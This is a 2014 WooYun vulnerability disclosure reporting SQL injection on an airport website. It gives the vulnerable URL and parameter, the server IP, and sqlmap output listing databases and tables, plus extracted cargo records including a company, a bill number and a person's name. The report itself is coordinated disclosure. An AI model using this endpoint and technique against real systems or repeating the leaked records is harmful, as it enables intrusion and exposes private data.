当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-060656

漏洞标题：某国际机场sql注射导致敏感信息泄露（如货运信息）

相关厂商：某国际机场

漏洞作者： 雅柏菲卡

提交时间：2014-05-14 18:11

修复时间：2014-06-28 18:11

公开时间：2014-06-28 18:11

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-14： 细节已通知厂商并且等待厂商处理中
2014-05-17： 厂商已经确认，细节仅向厂商公开
2014-05-27： 细节向核心白帽子及相关领域专家公开
2014-06-06： 细节向普通白帽子公开
2014-06-16： 细节向实习白帽子公开
2014-06-28： 细节向公众公开

简要描述：

...............

详细说明：

......

漏洞证明：

Target: 		http://www.dlairport.com/DLAirWeb/DLAPggs.aspx?id=301
Host IP:		124.93.236.37
Web Server: 	Microsoft-IIS/6.0
Powered-by: 	ASP.NET
DB Server: 	MsSQL no error
Resp. Time(avg):	414 ms
Current User: 	dbo
Sql Version: 	Microsoft SQL Server &nbsp;2000 - 8.00.2039 (Intel X86) <br>	May &nbsp;3 2005 23:18:38 <br>	Copyright (c) 1988-2003 Microsoft Corporation<br>	Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)<br>
Current DB: 	AirportWeb
System User: 	NT AUTHORITY\NETWORK SERVICE
Host Name: 	XTGCK
Server Name: 	DLAIRPORT
		master
		tempdb
		model
		msdb
		pubs
		Northwind
		AirportWeb
		test
		lumigent
		back
		dloa
		AirportGood
available databases [12]:
[*] AirportGood
[*] AirportWeb
[*] back
[*] dloa
[*] lumigent
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] test
Database: AirportWeb
[62 tables]
+-------------------------------+
| AirportWebUser.Tb_conts       |
| AirportWebUser.tb_OA_WB       |
| AirportWebUser.tb_WB          |
| dbo.Hycg_gnyd                 |
| dbo.Hycg_gnydfd               |
| dbo.JDZ                       |
| dbo.S3_Tmp                    |
| dbo.TB_Web_NEWS               |
| dbo.TB_Web_NEWSList           |
| dbo.Tb_DomesticIn             |
| dbo.Tb_DomesticIn2            |
| dbo.Tb_DomesticIn22           |
| dbo.Tb_DomesticOut            |
| dbo.Tb_DomesticOut2           |
| dbo.Tb_DomesticOut22          |
| dbo.Tb_InternationalIn        |
| dbo.Tb_InternationalIn2       |
| dbo.Tb_InternationalIn22      |
| dbo.Tb_InternationalOut       |
| dbo.Tb_InternationalOut2      |
| dbo.Tb_InternationalOut22     |
| dbo.Tb_Weather                |
| dbo.Tb_Web_Bulletin           |
| dbo.Tb_Web_FlightInfo         |
| dbo.Tb_Web_Ip                 |
| dbo.Tb_Web_LeaveWord          |
| dbo.Tb_Web_Login              |
| dbo.Tb_Web_Manager            |
| dbo.Tb_Web_Manager_Attachment |
| dbo.Tb_Web_NewsPicList        |
| dbo.Tb_Web_Search             |
| dbo.Tb_Web_Static_Url         |
| dbo.Tb_Web_Update_Time        |
| dbo.Tb_Web_Visit              |
| dbo.Tb_Web_Visit_Logs         |
| dbo.Tb_photo                  |
| dbo.Tb_vote                   |
| dbo.Tb_voteback               |
| dbo.UserTavel                 |
| dbo.V_NewsPICList             |
| dbo.V_WEB_NEWSPIC             |
| dbo.dtproperties              |
| dbo.hycg_gnyd2000             |
| dbo.hyjg_gjyd                 |
| dbo.hyjg_gjyd2000             |
| dbo.hyjg_gnyd                 |
| dbo.hyjg_gnyd2000             |
| dbo.lt                        |
| dbo.sysconstraints            |
| dbo.syssegments               |
| dbo.tb_Error                  |
| dbo.tb_WeatherWSV             |
| dbo.tb_Web_Error              |
| dbo.tb_Web_FlightMsg          |
| dbo.tb_Web_NewFlightInfo      |
| dbo.tb_Web_NewsLan            |
| dbo.tb_Web_NewsVideo          |
| dbo.tb_Web_XSBulletin         |
| dbo.tb_Web_XStravel           |
| dbo.tb_dayStat                |
| dbo.tb_dlWeather              |
| dbo.tb_hourStat               |
+-------------------------------+
从sqlmap的部分的解读出来的表中可以看到敏感数据
[10:16:14] [INFO] retrieved: 80120200
[10:16:14] [INFO] retrieved: 9.00
[10:16:15] [INFO] retrieved: 0.00
[10:16:18] [INFO] retrieved:
[10:16:18] [INFO] retrieved:
[10:16:19] [INFO] retrieved:
[10:16:19] [INFO] retrieved: 46.00
[10:16:20] [INFO] retrieved:
[10:16:21] [INFO] retrieved:
[10:16:22] [INFO] retrieved:
[10:16:23] [INFO] retrieved:
[10:16:24] [INFO] retrieved:
[10:16:29] [INFO] retrieved:
[10:16:30] [INFO] retrieved:
[10:16:30] [INFO] retrieved:
[10:16:30] [INFO] retrieved:
[10:16:31] [INFO] retrieved:
[10:16:32] [INFO] retrieved:
[10:16:32] [INFO] retrieved: 147.00
[10:16:32] [INFO] retrieved: 0.00
[10:16:41] [INFO] retrieved: 重庆
[10:16:45] [INFO] retrieved:
[10:16:45] [INFO] retrieved: 01 30 2010 12:00AM
[10:16:46] [INFO] retrieved: 大田
[10:16:46] [INFO] retrieved:
[10:16:50] [INFO] retrieved: 重庆奇速航空货运有限公司  机场自提
[10:16:57] [INFO] retrieved:
[10:16:58] [INFO] retrieved: 479-58456300
[10:16:59] [INFO] retrieved:
[10:16:59] [INFO] retrieved:
[10:16:59] [INFO] retrieved:
[10:17:01] [INFO] retrieved:
[10:17:01] [INFO] retrieved:
[10:17:01] [INFO] retrieved:
[10:17:04] [INFO] retrieved:
[10:17:04] [INFO] retrieved:
[10:17:05] [INFO] retrieved: 13
[10:17:05] [INFO] retrieved:
[10:17:06] [INFO] retrieved:
[10:17:06] [INFO] retrieved: 转账
[10:17:06] [INFO] retrieved: 天线
[10:17:07] [INFO] retrieved: 3.00
[10:17:07] [INFO] retrieved:
[10:17:10] [INFO] retrieved: 大田
[10:17:11] [INFO] retrieved:
[10:17:11] [INFO] retrieved: 46.00
[10:17:11] [INFO] retrieved:
[10:17:12] [INFO] retrieved:
[10:17:12] [INFO] retrieved:
[10:17:16] [INFO] retrieved:
[10:17:23] [INFO] retrieved:
[10:17:23] [INFO] retrieved:
[10:17:23] [INFO] retrieved:
[10:17:24] [INFO] retrieved:
[10:17:24] [INFO] retrieved: 刘晓娜
[10:17:24] [INFO] retrieved:
[10:17:25] [INFO] retrieved:
[10:17:26] [INFO] retrieved:
[10:17:06] [INFO] retrieved: 转账（付费方法都有了）

修复方案：

...........

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-05-17 20:40

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发辽宁分中心处置。

最新状态：

暂无

漏洞评价：

评论